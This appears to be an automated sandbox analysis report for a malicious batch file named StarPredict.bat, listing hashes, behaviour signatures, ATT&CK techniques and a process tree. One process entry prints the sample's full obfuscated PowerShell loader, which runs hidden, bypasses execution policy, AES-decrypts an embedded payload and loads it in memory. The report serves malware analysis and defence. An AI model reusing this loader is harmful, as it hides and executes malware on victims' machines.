95ac6e414cd46ab5ec8d652944120157bedb5a6373efc5ee34656b0d0e6ed9ef

General

Target

StarPredict.bat
Size

24KB
MD5

a4a8c94e504ac6ca0ab89e9602757b7d
SHA1

b6e014f2ee929e6522c2f88cef198e8488d1b076
SHA256

95ac6e414cd46ab5ec8d652944120157bedb5a6373efc5ee34656b0d0e6ed9ef
SHA512

29dd2a53d7cad6440c58b30702517796565f8b91d837cf7ad12b29a4f831c32a7011eefb19868048c04f500ca726e6313574b178baea54cb4944a2878e917fa8
SSDEEP

384:XjkB9T5RQ04oNa0VVP/7hdD4HO6oboIsR6a5toa9nb8QbUNFu8BHirCtc:g9TDQ0rD8obYD5tnAbTliEc

Score

8^/10

Malware Config

Signatures

Executes dropped EXE 1 IoCs

Processes:

StarPredict.bat.exe

pid process

1752 StarPredict.bat.exe
Loads dropped DLL 1 IoCs

Processes:

cmd.exe

pid process

1912 cmd.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
1752	StarPredict.bat.exe

pid	process
1912	cmd.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

chrome.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Runs net.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

StarPredict.bat.exechrome.exechrome.exe

pid process

1752 StarPredict.bat.exe
1824 chrome.exe
1872 chrome.exe
1872 chrome.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

StarPredict.bat.exe

description pid process

Token: SeDebugPrivilege 1752 StarPredict.bat.exe

pid	process
1752	StarPredict.bat.exe
1824	chrome.exe
1872	chrome.exe
1872	chrome.exe

description	pid	process
Token: SeDebugPrivilege	1752	StarPredict.bat.exe

Suspicious use of FindShellTrayWindow 51 IoCs

Processes:

chrome.exe

pid	process
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe

Suspicious use of SendNotifyMessage 48 IoCs

Processes:

chrome.exe

pid	process
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe
1872	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exenet.exechrome.exe

description	pid	process	target process
PID 1912 wrote to memory of 2000	1912	cmd.exe	net.exe
PID 1912 wrote to memory of 2000	1912	cmd.exe	net.exe
PID 1912 wrote to memory of 2000	1912	cmd.exe	net.exe
PID 2000 wrote to memory of 1388	2000	net.exe	net1.exe
PID 2000 wrote to memory of 1388	2000	net.exe	net1.exe
PID 2000 wrote to memory of 1388	2000	net.exe	net1.exe
PID 1912 wrote to memory of 1752	1912	cmd.exe	StarPredict.bat.exe
PID 1912 wrote to memory of 1752	1912	cmd.exe	StarPredict.bat.exe
PID 1912 wrote to memory of 1752	1912	cmd.exe	StarPredict.bat.exe
PID 1872 wrote to memory of 920	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 920	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 920	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1828	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1824	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1824	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 1824	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 2040	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 2040	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 2040	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 2040	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 2040	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 2040	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 2040	1872	chrome.exe	chrome.exe
PID 1872 wrote to memory of 2040	1872	chrome.exe	chrome.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\StarPredict.bat"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1912

C:\Windows\system32\net.exe
net file
2⤵
- Suspicious use of WriteProcessMemory
PID:2000

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 file
3⤵
PID:1388

C:\Users\Admin\AppData\Local\Temp\StarPredict.bat.exe
"StarPredict.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $GjTPU = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\StarPredict.bat').Split([Environment]::NewLine);foreach ($uNHWF in $GjTPU) { if ($uNHWF.StartsWith(':: ')) { $fykia = $uNHWF.Substring(3); break; }; };$uYWwg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($fykia);$bteIa = New-Object System.Security.Cryptography.AesManaged;$bteIa.Mode = [System.Security.Cryptography.CipherMode]::CBC;$bteIa.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$bteIa.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pM/twRvK9SA5xzjGwNEJ2Q5d0efpPNEUzZ/Iw3rJnZU=');$bteIa.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('J7jeqD28Rdq8eM7GGIHP4A==');$krlZA = $bteIa.CreateDecryptor();$uYWwg = $krlZA.TransformFinalBlock($uYWwg, 0, $uYWwg.Length);$krlZA.Dispose();$bteIa.Dispose();$fhTMd = New-Object System.IO.MemoryStream(, $uYWwg);$oPqJI = New-Object System.IO.MemoryStream;$RrChu = New-Object System.IO.Compression.GZipStream($fhTMd, [IO.Compression.CompressionMode]::Decompress);$RrChu.CopyTo($oPqJI);$RrChu.Dispose();$fhTMd.Dispose();$oPqJI.Dispose();$uYWwg = $oPqJI.ToArray();$XDsYK = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uYWwg);$CBJiO = $XDsYK.EntryPoint;$CBJiO.Invoke($null, (, [string[]] ('')))
2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1752

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe"
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1872

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef70e4f50,0x7fef70e4f60,0x7fef70e4f70
2⤵
PID:920

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1188 /prefetch:2
2⤵
PID:1828

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1268 /prefetch:8
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:1824

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1892 /prefetch:8
2⤵
PID:2040

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2096 /prefetch:1
2⤵
PID:976

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2080 /prefetch:1
2⤵
PID:1836

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2964 /prefetch:8
2⤵
PID:2020

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3344 /prefetch:2
2⤵
PID:2020

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:1
2⤵
PID:2012

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3572 /prefetch:8
2⤵
PID:2096

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3676 /prefetch:8
2⤵
PID:2104

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\StarPredict.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
\??\pipe\crashpad_1872_GFVJZIMWSPIHGRXK

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Local\Temp\StarPredict.bat.exe

Filesize
462KB

MD5
852d67a27e454bd389fa7f02a8cbe23f

SHA1
5330fedad485e0e4c23b2abe1075a1f984fde9fc

SHA256
a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

SHA512
327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

Download Submit
memory/1388-55-0x0000000000000000-mapping.dmp

Download
memory/1752-57-0x0000000000000000-mapping.dmp

Download
memory/1752-59-0x000007FEFC1F1000-0x000007FEFC1F3000-memory.dmp

Filesize
8KB

Download
memory/1752-60-0x000007FEF3E90000-0x000007FEF48B3000-memory.dmp

Filesize
10.1MB

Download
memory/1752-62-0x0000000002554000-0x0000000002557000-memory.dmp

Filesize
12KB

Download
memory/1752-61-0x000007FEF3330000-0x000007FEF3E8D000-memory.dmp

Filesize
11.4MB

Download
memory/1752-63-0x0000000002554000-0x0000000002557000-memory.dmp

Filesize
12KB

Download
memory/1752-64-0x000000000255B000-0x000000000257A000-memory.dmp

Filesize
124KB

Download
memory/2000-54-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads